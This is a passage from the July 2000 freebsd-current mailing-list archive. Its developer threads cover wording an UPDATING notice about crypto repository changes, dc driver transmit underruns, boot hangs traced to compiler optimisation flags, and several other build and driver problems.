2000 18:01:45 +0100 (BST) To: Warner Losh Cc: John Polstra , brian@Awfulhak.org, current@FreeBSD.ORG Subject: Re: **HEADS UP** if you used to cvsup the crypto repo from internat ! In-Reply-To: <200007131655.KAA25243@harmony.village.org> References: <200007122004.NAA56370@vashon.polstra.com> <200007121405.PAA11870@hak.lan.Awfulhak.org> <200007131655.KAA25243@harmony.village.org> X-Mailer: VM 6.75 under 21.1 (patch 7) "Biscayne" XEmacs Lucid Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >>>>> "Warner" == Warner Losh writes: Warner> In message <200007122004.NAA56370@vashon.polstra.com> John Polstra writes: Warner> : > This is probably a candidate for UPDATING. Warner> : Warner> : That wouldn't hurt. But it actually affects _all_ branches, I Warner> : believe. So in a way, UPDATING doesn't cover enough ground. Warner> Does anybody have any text that is better than the following? Warner> 20000711: Warner> If you used to get your crypto files from internat, AND you Warner> used cvsup to get cvs' ,v files, then the latest changes Warner> to the source collections will impact you. You will need to Warner> remove all the crypto files and start over. My understanding was that the problem was cvsuping the crypto ,v files from internat and then using cvs to get a source tree, i.e I was under the impression that cvsup in checkout mode was ok. Martin To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jul 13 10: 4:26 2000 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 810EB37BF21 for ; Thu, 13 Jul 2000 10:04:15 -0700 (PDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id LAA59380; Thu, 13 Jul 2000 11:04:11 -0600 (MDT) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id LAA25341; Thu, 13 Jul 2000 11:04:00 -0600 (MDT) Message-Id: <200007131704.LAA25341@harmony.village.org> To: Martin Hopkins Subject: Re: **HEADS UP** if you used to cvsup the crypto repo from internat ! Cc: John Polstra , brian@Awfulhak.org, current@FreeBSD.ORG In-reply-to: Your message of "Thu, 13 Jul 2000 18:01:45 BST." <14701.62969.243307.506257@localhost.isltd.insignia.com> References: <14701.62969.243307.506257@localhost.isltd.insignia.com> <200007122004.NAA56370@vashon.polstra.com> <200007121405.PAA11870@hak.lan.Awfulhak.org> <200007131655.KAA25243@harmony.village.org> Date: Thu, 13 Jul 2000 11:04:00 -0600 From: Warner Losh Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In message <14701.62969.243307.506257@localhost.isltd.insignia.com> Martin Hopkins writes: : >>>>> "Warner" == Warner Losh writes: : : Warner> In message <200007122004.NAA56370@vashon.polstra.com> John Polstra writes: : Warner> : > This is probably a candidate for UPDATING. : Warner> : : Warner> : That wouldn't hurt. But it actually affects _all_ branches, I : Warner> : believe. So in a way, UPDATING doesn't cover enough ground. : : Warner> Does anybody have any text that is better than the following? : Warner> 20000711: : Warner> If you used to get your crypto files from internat, AND you : Warner> used cvsup to get cvs' ,v files, then the latest changes : Warner> to the source collections will impact you. You will need to : Warner> remove all the crypto files and start over. : : My understanding was that the problem was cvsuping the crypto ,v : files from internat and then using cvs to get a source tree, i.e I was : under the impression that cvsup in checkout mode was ok. Do you have a suggested better text? I thought I said that. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jul 13 10:19:28 2000 Delivered-To: freebsd-current@freebsd.org Received: from grimreaper.grondar.za (grimreaper.grondar.za [196.7.18.138]) by hub.freebsd.org (Postfix) with ESMTP id 716FA37BF76 for ; Thu, 13 Jul 2000 10:19:16 -0700 (PDT) (envelope-from mark@grondar.za) Received: from grimreaper.grondar.za (localhost [127.0.0.1]) by grimreaper.grondar.za (8.9.3/8.9.3) with ESMTP id TAA01505; Thu, 13 Jul 2000 19:19:48 +0200 (SAST) (envelope-from mark@grimreaper.grondar.za) Message-Id: <200007131719.TAA01505@grimreaper.grondar.za> To: Warner Losh Cc: John Polstra , brian@Awfulhak.org, current@FreeBSD.ORG Subject: Re: **HEADS UP** if you used to cvsup the crypto repo from internat ! References: <200007131655.KAA25243@harmony.village.org> In-Reply-To: <200007131655.KAA25243@harmony.village.org> ; from Warner Losh "Thu, 13 Jul 2000 10:55:23 CST." Date: Thu, 13 Jul 2000 19:19:48 +0200 From: Mark Murray Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > In message <200007122004.NAA56370@vashon.polstra.com> John Polstra writes: > : > This is probably a candidate for UPDATING. > : > : That wouldn't hurt. But it actually affects _all_ branches, I > : believe. So in a way, UPDATING doesn't cover enough ground. > > Does anybody have any text that is better than the following? > 20000711: > If you used to get your crypto files from internat, AND you > used cvsup to get cvs' ,v files, then the latest changes > to the source collections will impact you. You will need to > remove all the crypto files and start over. Maybe add the directories it will impact; crc/crypto, src/sys/crypto, src/eBones, src/secure. M -- Mark Murray Join the anti-SPAM movement: http://www.cauce.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jul 13 10:26:21 2000 Delivered-To: freebsd-current@freebsd.org Received: from gatekeeper.isltd.insignia.com (gatekeeper.isltd.insignia.com [195.153.60.130]) by hub.freebsd.org (Postfix) with ESMTP id 5DDF937B723 for ; Thu, 13 Jul 2000 10:26:06 -0700 (PDT) (envelope-from martin.hopkins@insignia.com) Received: from saracen.isltd.insignia.com (saracen.isltd.insignia.com [193.112.17.171]) by gatekeeper.isltd.insignia.com (8.9.3/8.9.3) with ESMTP id SAA29838; Thu, 13 Jul 2000 18:24:56 +0100 (BST) Received: from localhost.isltd.insignia.com (dhcp17-230.isltd.insignia.com [193.112.17.230]) by saracen.isltd.insignia.com (8.8.4/BSCF-1.2) with SMTP id SAA06550; Thu, 13 Jul 2000 18:24:53 +0100 (BST) From: Martin Hopkins MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14701.64356.799767.309988@localhost.isltd.insignia.com> Date: Thu, 13 Jul 2000 18:24:52 +0100 (BST) To: Warner Losh Cc: John Polstra , brian@Awfulhak.org, current@FreeBSD.ORG Subject: Re: **HEADS UP** if you used to cvsup the crypto repo from internat ! In-Reply-To: <200007131704.LAA25341@harmony.village.org> References: <14701.62969.243307.506257@localhost.isltd.insignia.com> <200007122004.NAA56370@vashon.polstra.com> <200007121405.PAA11870@hak.lan.Awfulhak.org> <200007131655.KAA25243@harmony.village.org> <200007131704.LAA25341@harmony.village.org> X-Mailer: VM 6.75 under 21.1 (patch 7) "Biscayne" XEmacs Lucid Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Warner> In message <14701.62969.243307.506257@localhost.isltd.insignia.com> Martin Hopkins writes: Warner> : >>>>> "Warner" == Warner Losh writes: Warner> : Warner> : Warner> In message <200007122004.NAA56370@vashon.polstra.com> John Polstra writes: Warner> : Warner> : > This is probably a candidate for UPDATING. Warner> : Warner> : Warner> : Warner> : That wouldn't hurt. But it actually affects _all_ branches, I Warner> : Warner> : believe. So in a way, UPDATING doesn't cover enough ground. Warner> : Warner> : Warner> Does anybody have any text that is better than the following? Warner> : Warner> 20000711: Warner> : Warner> If you used to get your crypto files from internat, AND you Warner> : Warner> used cvsup to get cvs' ,v files, then the latest changes Warner> : Warner> to the source collections will impact you. You will need to Warner> : Warner> remove all the crypto files and start over. Warner> : Warner> : My understanding was that the problem was cvsuping the crypto ,v Warner> : files from internat and then using cvs to get a source tree, i.e I was Warner> : under the impression that cvsup in checkout mode was ok. Warner> Do you have a suggested better text? I thought I said that. How about... If you used to mirror the crypto portion of the repository from internat AND used cvs to check out crypto sources from your local repository then the recent changes to the source collections will impact you. You will need to remove all your crypto sources (e.g cvs release -d crypto) and start over. Comments Brian? Martin To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jul 13 10:40: 8 2000 Delivered-To: freebsd-current@freebsd.org Received: from gatekeeper.isltd.insignia.com (gatekeeper.isltd.insignia.com [195.153.60.130]) by hub.freebsd.org (Postfix) with ESMTP id 45C0E37B524 for ; Thu, 13 Jul 2000 10:40:03 -0700 (PDT) (envelope-from martin.hopkins@insignia.com) Received: from saracen.isltd.insignia.com (saracen.isltd.insignia.com [193.112.17.171]) by gatekeeper.isltd.insignia.com (8.9.3/8.9.3) with ESMTP id SAA29954; Thu, 13 Jul 2000 18:37:58 +0100 (BST) Received: from localhost.isltd.insignia.com (dhcp17-230.isltd.insignia.com [193.112.17.230]) by saracen.isltd.insignia.com (8.8.4/BSCF-1.2) with SMTP id SAA06559; Thu, 13 Jul 2000 18:37:55 +0100 (BST) From: Martin Hopkins MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14701.65139.92819.739114@localhost.isltd.insignia.com> Date: Thu, 13 Jul 2000 18:37:55 +0100 (BST) To: Mark Murray Cc: Warner Losh , John Polstra , brian@Awfulhak.org, current@FreeBSD.ORG Subject: Re: **HEADS UP** if you used to cvsup the crypto repo from internat ! In-Reply-To: <200007131719.TAA01505@grimreaper.grondar.za> References: <200007131655.KAA25243@harmony.village.org> <200007131719.TAA01505@grimreaper.grondar.za> X-Mailer: VM 6.75 under 21.1 (patch 7) "Biscayne" XEmacs Lucid Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >>>>> "Mark" == Mark Murray writes: >> In message <200007122004.NAA56370@vashon.polstra.com> John Polstra writes: >> : > This is probably a candidate for UPDATING. >> : >> : That wouldn't hurt. But it actually affects _all_ branches, I >> : believe. So in a way, UPDATING doesn't cover enough ground. >> >> Does anybody have any text that is better than the following? >> 20000711: >> If you used to get your crypto files from internat, AND you >> used cvsup to get cvs' ,v files, then the latest changes >> to the source collections will impact you. You will need to >> remove all the crypto files and start over. Mark> Maybe add the directories it will impact; crc/crypto, src/sys/crypto, src/eBones, src/secure. Agreed. Reading this I just realised I missed the src-sys-crypto collection in my proposed text. Martin To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jul 13 10:47: 2 2000 Delivered-To: freebsd-current@freebsd.org Received: from almso1.proxy.att.com (almso1.att.com [192.128.167.69]) by hub.freebsd.org (Postfix) with ESMTP id D544937B524 for ; Thu, 13 Jul 2000 10:46:57 -0700 (PDT) (envelope-from myevmenkin@att.com) Received: from njb140r1.ems.att.com ([135.65.202.58]) by almso1.proxy.att.com (AT&T IPNS/MSO-2.2) with ESMTP id NAA20860 for ; Thu, 13 Jul 2000 13:46:55 -0400 (EDT) Received: from njb140bh1.ems.att.com by njb140r1.ems.att.com (8.8.8+Sun/ATTEMS-1.4.1 sol2) id NAA02692; Thu, 13 Jul 2000 13:45:47 -0400 (EDT) Received: by njb140bh1.ems.att.com with Internet Mail Service (5.5.2650.21) id <3352N6NP>; Thu, 13 Jul 2000 13:46:55 -0400 Message-ID: From: "Yevmenkin, Maksim N, CSCIO" To: "'freebsd-current@freebsd.org'" Subject: kerneld for -current Date: Thu, 13 Jul 2000 13:46:49 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="koi8-r" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello All, long time back there was a discussion about kerneld for FreeBSD. some people have found it useless, but some not :) anyway, alpha version of code can be found at sourceforge.net. http://sourceforge.net/projects/kerneld/ changes: - minor bug fixes - kd device improvements (now support select) - kerneld now has access control list to accept/deny request from users/group (thanks to Someone from the list for the idea, sorry don't remember The Name :) everyone, who's interested, is invited :) thanks, emax To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jul 13 11: 2:25 2000 Delivered-To: freebsd-current@freebsd.org Received: from storm.FreeBSD.org.uk (storm.freebsd.org.uk [194.242.139.170]) by hub.freebsd.org (Postfix) with ESMTP id AE28A37BF6C for ; Thu, 13 Jul 2000 11:02:20 -0700 (PDT) (envelope-from brian@Awfulhak.org) Received: from hak.lan.Awfulhak.org (hak.nat.Awfulhak.org [172.31.0.12]) by storm.FreeBSD.org.uk (8.9.3/8.9.3) with ESMTP id TAA37802; Thu, 13 Jul 2000 19:02:14 +0100 (BST) (envelope-from brian@Awfulhak.org) Received: from hak.lan.Awfulhak.org (localhost [127.0.0.1]) by hak.lan.Awfulhak.org (8.9.3/8.9.3) with ESMTP id TAA06612; Thu, 13 Jul 2000 19:02:11 +0100 (BST) (envelope-from brian@hak.lan.Awfulhak.org) Message-Id: <200007131802.TAA06612@hak.lan.Awfulhak.org> X-Mailer: exmh version 2.1.1 10/15/1999 To: Martin Hopkins Cc: Mark Murray , Warner Losh , John Polstra , brian@Awfulhak.org, current@FreeBSD.ORG, brian@Awfulhak.org Subject: Re: **HEADS UP** if you used to cvsup the crypto repo from internat ! In-Reply-To: Message from Martin Hopkins of "Thu, 13 Jul 2000 18:37:55 BST." <14701.65139.92819.739114@localhost.isltd.insignia.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 13 Jul 2000 19:02:11 +0100 From: Brian Somers Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > >>>>> "Mark" == Mark Murray writes: > > >> In message <200007122004.NAA56370@vashon.polstra.com> John Polstra writes: > >> : > This is probably a candidate for UPDATING. > >> : > >> : That wouldn't hurt. But it actually affects _all_ branches, I > >> : believe. So in a way, UPDATING doesn't cover enough ground. > >> > >> Does anybody have any text that is better than the following? > >> 20000711: > >> If you used to get your crypto files from internat, AND you > >> used cvsup to get cvs' ,v files, then the latest changes > >> to the source collections will impact you. You will need to > >> remove all the crypto files and start over. > > Mark> Maybe add the directories it will impact; crc/crypto, src/sys/crypto, src/eBones, src/secure. > > Agreed. Reading this I just realised I missed the src-sys-crypto > collection in my proposed text. And I forgot eBones & secure ! I also never knew about ``cvs release''. I did a rm -fr and then removed the entry from CVS/Entries :-/ > Martin -- Brian Don't _EVER_ lose your sense of humour ! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jul 13 12:19:25 2000 Delivered-To: freebsd-current@freebsd.org Received: from smtp6.mindspring.com (smtp6.mindspring.com [207.69.200.110]) by hub.freebsd.org (Postfix) with ESMTP id 8A11137C5B6 for ; Thu, 13 Jul 2000 12:19:16 -0700 (PDT) (envelope-from patrick@freebsd.org) Received: from freebsd.org ([209.138.186.80]) by smtp6.mindspring.com (8.9.3/8.8.5) with ESMTP id PAA24768; Thu, 13 Jul 2000 15:18:50 -0400 (EDT) Message-ID: <396E1610.92069C0D@freebsd.org> Date: Thu, 13 Jul 2000 15:18:40 -0400 From: Patrick Gardella Organization: FreeBSD X-Mailer: Mozilla 4.7 [en] (X11; I; FreeBSD 5.0-CURRENT i386) X-Accept-Language: en MIME-Version: 1.0 To: Dan Papasian Cc: freebsd-current@freebsd.org Subject: Re: Burned by config changes? References: <396BC9CC.4354651D@whetstonelogic.com> <20000712121218.A43879@moe.c705742-a.htfdw1.ct.home.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Indeed, this was the problem. I, at some time, switched it to -O2. Thanks for all the suggestions! Patrick Dan Papasian wrote: > > What optimizations did you use when compiling your kernel? > (COPTFLAGS) > > If it's anything more than -O -pipe, then that may very well > be your problem. > > -Dan > > On Tue, Jul 11, 2000 at 09:28:44PM -0400, Patrick Gardella wrote: > > I've somehow been burned by the config changes when I build world > > yesterday. The build went fine, and then I followed the instructions > > on: http://people.freebsd.org/~imp/config-upd.html > > > > But when I rebooted, it freezes right when I type "boot". Typing "boot > > -v" does not reveal anything more. > > > > I've gone in with an old kernel which lets me boot, and tried building a > > new GENERIC one, with no luck. It freezes at the same place. > > > > I have in place my /boot/device.hints, and it looks right. > > > > Any pointers to get the system back up and running? (I do have a > > backup, but I'd rather learn how to fix this!) > > > > Patrick Gardella > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-current" in the body of the message -- Patrick ---------- Patrick Gardella patrick@freebsd.org The Power to Serve shall not be infringed. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jul 13 14:57:13 2000 Delivered-To: freebsd-current@freebsd.org Received: from dfw-smtpout1.email.verio.net (dfw-smtpout1.email.verio.net [129.250.36.41]) by hub.freebsd.org (Postfix) with ESMTP id 5534D37B7CC; Thu, 13 Jul 2000 14:57:01 -0700 (PDT) (envelope-from gjohnson@gs.verio.net) Received: from [129.250.38.61] (helo=dfw-mmp1.email.verio.net) by dfw-smtpout1.email.verio.net with esmtp (Exim 3.12 #7) id 13CqyX-00060q-00; Thu, 13 Jul 2000 21:56:57 +0000 Received: from [204.1.124.74] (helo=power) by dfw-mmp1.email.verio.net with smtp (Exim 3.15 #4) id 13CqyX-0002Sm-00; Thu, 13 Jul 2000 21:56:57 +0000 Message-ID: <00cf01bfed15$43ab2910$4a7c01cc@gs.verio.net> From: "Tony Johnson" To: Cc: Subject: rtld-elf Date: Thu, 13 Jul 2000 16:56:56 -0500 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_00CC_01BFECEB.5A547F60" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_00CC_01BFECEB.5A547F60 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hmmm.. I have been experiencing a problem when I installworld with = freebsd-5.0. The install breaks with rtld-elf when the install put the = new copy of ld-elf.s0.1 onto my system. Most f my prgrams signal 11 = until I put the old ne back. Is there smething I was supposed t do = befre this?? ------=_NextPart_000_00CC_01BFECEB.5A547F60 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hmmm.. I have been experiencing a = problem when I=20 installworld with freebsd-5.0.  The install breaks with rtld-elf = when the=20 install put the new copy of ld-elf.s0.1 onto my system.  Most f my = prgrams=20 signal 11 until I put the old ne back.  Is there smething I was = supposed t=20 do befre this??
------=_NextPart_000_00CC_01BFECEB.5A547F60-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jul 13 19:25:23 2000 Delivered-To: freebsd-current@freebsd.org Received: from lafontaine.cybercable.fr (lafontaine.cybercable.fr [212.198.0.202]) by hub.freebsd.org (Postfix) with SMTP id CA9A237BB2A for ; Thu, 13 Jul 2000 19:25:19 -0700 (PDT) (envelope-from clefevre%no-spam@citeweb.net) Received: (qmail 14795432 invoked from network); 14 Jul 2000 02:25:17 -0000 Received: from r224m65.cybercable.tm.fr (HELO gits.dyndns.org) ([195.132.224.65]) (envelope-sender ) by lafontaine.cybercable.fr (qmail-ldap-1.03) with SMTP for ; 14 Jul 2000 02:25:17 -0000 Received: (from root@localhost) by gits.dyndns.org (8.9.3/8.9.3) id EAA42347; Fri, 14 Jul 2000 04:25:16 +0200 (CEST) (envelope-from clefevre%no-spam@citeweb.net) Posted-Date: Fri, 14 Jul 2000 04:25:16 +0200 (CEST) To: clefevre@citeweb.net Cc: freebsd-current@FreeBSD.ORG Subject: Re: APM and SCSI : suspend References: <8zv9s8o9.fsf@pc166.gits.fr> Reply-To: clefevre@citeweb.net X-Face: V|+c;4!|B?E%BE^{E6);aI.[<97Zd*>^#%Y5Cxv;%Y[PT-LW3;A:fRrJ8+^k"e7@+30g0YD0*^^3jgyShN7o?a]C la*Zv'5NA,=963bM%J^o]C From: Cyrille Lefevre Date: 14 Jul 2000 04:25:15 +0200 In-Reply-To: Cyrille Lefevre's message of "11 Jul 2000 04:27:34 +0200" Message-ID: Lines: 25 User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Canyonlands) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Cyrille Lefevre writes: > why it's not possible to suspend SCSI drives like the ATA/IDE ones ? > > I'm not talking about camcontrol suspend feature. if you have a mounted > filesystem, and access a file onto that filesystem while the drive is > suspended in this manner, the system gives up. and it is not so good > (at all :) to do the same thing if you have some swap space onto that > drive, crash... > > also, I experienced suspended SCSI drives under windows, then warm boot. > the boot loader is not able to wake up the drives. so it complains about > drive not found and you have to power off/on your machine to wake up the > drives. > > is that feature, suspend/wake up of SCSI drives, programmed in the future ? > > PS : maybe -arch should be in this thread ? from -fs and -hackers w/ no answers ? so, I try -current. Cyrille. -- home:mailto:clefevre%no-spam@citeweb.net Supprimer "%no-spam" pour me repondre. work:mailto:Cyrille.Lefevre%no-spam@edf.fr Remove "%no-spam" to answer me back. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jul 13 19:49:35 2000 Delivered-To: freebsd-current@freebsd.org Received: from smople.thehub.com.au (smople.thehub.com.au [203.143.240.10]) by hub.freebsd.org (Postfix) with ESMTP id EC12F37BBD6; Thu, 13 Jul 2000 19:49:23 -0700 (PDT) (envelope-from mckay@thehub.com.au) Received: from dungeon.home (ppp50.dyn250.pacific.net.au [203.143.250.50]) by smople.thehub.com.au (8.9.3/8.9.1) with ESMTP id MAA01402; Fri, 14 Jul 2000 12:49:06 +1000 (EST) Received: from dungeon.home (localhost [127.0.0.1]) by dungeon.home (8.9.3/8.9.3) with ESMTP id MAA07785; Fri, 14 Jul 2000 12:51:14 +1000 (EST) (envelope-from mckay) Message-Id: <200007140251.MAA07785@dungeon.home> To: "Rodney W. Grimes" Cc: bandix@looksharp.net (Brandon D. Valentine), mckay@thehub.com.au (Stephen McKay), se@FreeBSD.ORG (Stefan Esser), wpaul@FreeBSD.ORG (Bill Paul), freebsd-current@FreeBSD.ORG Subject: Re: dc driver and underruns (was: Strangeness with 4.0-S) References: <200007131622.JAA12738@gndrsh.dnsmgr.net> In-Reply-To: <200007131622.JAA12738@gndrsh.dnsmgr.net> from "Rodney W. Grimes" at "Thu, 13 Jul 2000 09:22:22 -0700" Date: Fri, 14 Jul 2000 12:51:14 +1000 From: Stephen McKay Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thursday, 13th July 2000, "Rodney W. Grimes" wrote: >>On Thu, 13 Jul 2000, Stephen McKay wrote: >> >>>Does anyone here actually measure these latencies? I know for a fact >>>that nothing I've ever done would or could be affected by extra latencies >>>that are as small as the ones we are discussing. Does anybody at all >>>depend on the start-transmitting-before-DMA-completed feature we are >>>discussing? >> >> I don't like the idea of removing that feature. Perhaps it should be a >> sysctl or ifconfig option, but it should definitely remain available. >> Those minute latencies are critical to those of us who use MPI for >> complex parallel calculations. > >I have to agree here. The store and forward adds an approximate >11uS (by theory under ideal conditions 1500bytes@132MB/s = 11uS, >practice actually makes this worse as typical PCI does something >less than 100MB/s or 15uS) to a 120uS packet time on the wire (again, >ideal, but here given that switches, and infact often cut-through >switches, are used for these types of things, ideal and practice >are very close.) > >I don't think these folks, nor myself, are wanting^H^H^H^H^H^H^Hilling >to give up 12.5%. OK. It seems that repairing the feature, rather than disabling it is the most popular option. Still, I am quite interested in finding anyone who actually measures these things, and is affected by them. These very same people might be able to trace why we get the underruns in the first place. I suspect an interaction between the ATA driver and VIA chipsets, because other than the network, that's all that is operating when I see the underruns. And my Celeron with a ZX chipset is immune. Back to the technical, for a moment. I have verified that stopping the transmitter on the 21143 is both sufficient and necessary to enable the thresholds to be set. I have code that works on my machine. I intend to commit it when I think it looks neat enough. Getting even more technical, it appears to me that the current driver instructs the 21143 to poll for transmit packets (ie a small DMA) every 80us even if there are none to be sent. I don't know what percentage of bus time this might be, or even how to calculate it (got some time Rod?) but it looks unnecessary to me. I think the transmitter could be turned off regularly. At the moment, the driver leaves it on all the time. And to the non technical: Do the messages go or stay? I've heard both sides. For most people they are just annoying fluff. For those who actually care about the latency, it might be informative, and thus too useful to be hidden behind bootverbose. Opinions? Stephen. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jul 13 20:21:45 2000 Delivered-To: freebsd-current@freebsd.org Received: from mail3.aracnet.com (mail3.aracnet.com [216.99.193.38]) by hub.freebsd.org (Postfix) with ESMTP id 0A38137BBA3; Thu, 13 Jul 2000 20:21:42 -0700 (PDT) (envelope-from sf@aracnet.com) Received: from mephistopheles (max1-197-8.cust.aracnet.com [216.99.197.8]) by mail3.aracnet.com (8.9.3/8.9.3) with ESMTP id UAA08307; Thu, 13 Jul 2000 20:21:11 -0700 Date: Thu, 13 Jul 2000 20:21:03 -0700 (PDT) From: Scott Flatman X-Sender: sf@mephistopheles To: Stephen McKay Cc: "Rodney W. Grimes" , "Brandon D. Valentine" , Stefan Esser , Bill Paul , freebsd-current@FreeBSD.ORG Subject: Re: dc driver and underruns (was: Strangeness with 4.0-S) In-Reply-To: <200007140251.MAA07785@dungeon.home> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 14 Jul 2000, Stephen McKay wrote: > place. I suspect an interaction between the ATA driver and VIA chipsets, > because other than the network, that's all that is operating when I see > the underruns. And my Celeron with a ZX chipset is immune. I've noticed this on a VIA chipset machine. It also has ATA drives. It's running 5.0-current from 7/10. I have an HX chipset machine running -current from 7/10, same card, ATA drives, no error. A BX chipset machine running -current cooked today, same card, SCSI drives, no error. Just a few more data points. Scott To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Thu Jul 13 21:48: 9 2000 Delivered-To: freebsd-current@freebsd.org Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74]) by hub.freebsd.org (Postfix) with ESMTP id 909DE37BDEA for ; Thu, 13 Jul 2000 21:48:07 -0700 (PDT) (envelope-from jdp@polstra.com) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.9.3/8.9.3) with ESMTP id VAA29591; Thu, 13 Jul 2000 21:48:06 -0700 (PDT) (envelope-from jdp@polstra.com) From: John Polstra Received: (from jdp@localhost) by vashon.polstra.com (8.9.3/8.9.1) id VAA59078; Thu, 13 Jul 2000 21:48:06 -0700 (PDT) (envelope-from jdp@polstra.com) Date: Thu, 13 Jul 2000 21:48:06 -0700 (PDT) Message-Id: <200007140448.VAA59078@vashon.polstra.com> To: hm@hcs.de Subject: Re: config/hints changes: panic booting pcvt kernel In-Reply-To: <20000713092155.48C5E483D@hcswork.hcs.de> References: <20000713092155.48C5E483D@hcswork.hcs.de> Organization: Polstra & Co., Seattle, WA Cc: current@freebsd.org Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In article <20000713092155.48C5E483D@hcswork.hcs.de>, Hellmuth Michaelis wrote: > > i added a printf statement to the beginning of every subroutine in > file /sys/dev/kbd/kbd.c and with this additions the panic disappears > and pcvt runs fine as ever. > > Removing the printf's from kbd.c shows the usual described panic. > > I'm now completely out of ideas .... It sounds like maybe an uninitialized local variable in one of the functions. John -- John Polstra jdp@polstra.com John D. Polstra & Co., Inc. Seattle, Washington USA "Disappointment is a good sign of basic intelligence." -- Chögyam Trungpa To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Jul 14 0:15:57 2000 Delivered-To: freebsd-current@freebsd.org Received: from freebie.demon.nl (freebie.demon.nl [212.238.54.101]) by hub.freebsd.org (Postfix) with ESMTP id C5E3A37C766; Fri, 14 Jul 2000 00:15:50 -0700 (PDT) (envelope-from wkb@freebie.demon.nl) Received: (from wkb@localhost) by freebie.demon.nl (8.9.3/8.9.3) id IAA02605; Fri, 14 Jul 2000 08:46:40 +0200 (CEST) (envelope-from wkb) Date: Fri, 14 Jul 2000 08:46:40 +0200 From: Wilko Bulte To: Stephen McKay Cc: "Rodney W. Grimes" , "Brandon D. Valentine" , Stefan Esser , Bill Paul , freebsd-current@freebsd.org Subject: Re: dc driver and underruns (was: Strangeness with 4.0-S) Message-ID: <20000714084639.B1926@freebie.demon.nl> Reply-To: wilko@freebsd.org References: <200007131622.JAA12738@gndrsh.dnsmgr.net> <200007140251.MAA07785@dungeon.home> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <200007140251.MAA07785@dungeon.home>; from mckay@thehub.com.au on Fri, Jul 14, 2000 at 12:51:14PM +1000 X-OS: FreeBSD 4.0-STABLE X-PGP: finger wilko@freebsd.org Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, Jul 14, 2000 at 12:51:14PM +1000, Stephen McKay wrote: > On Thursday, 13th July 2000, "Rodney W. Grimes" wrote: > > >>On Thu, 13 Jul 2000, Stephen McKay wrote: > >> > >>>Does anyone here actually measure these latencies? 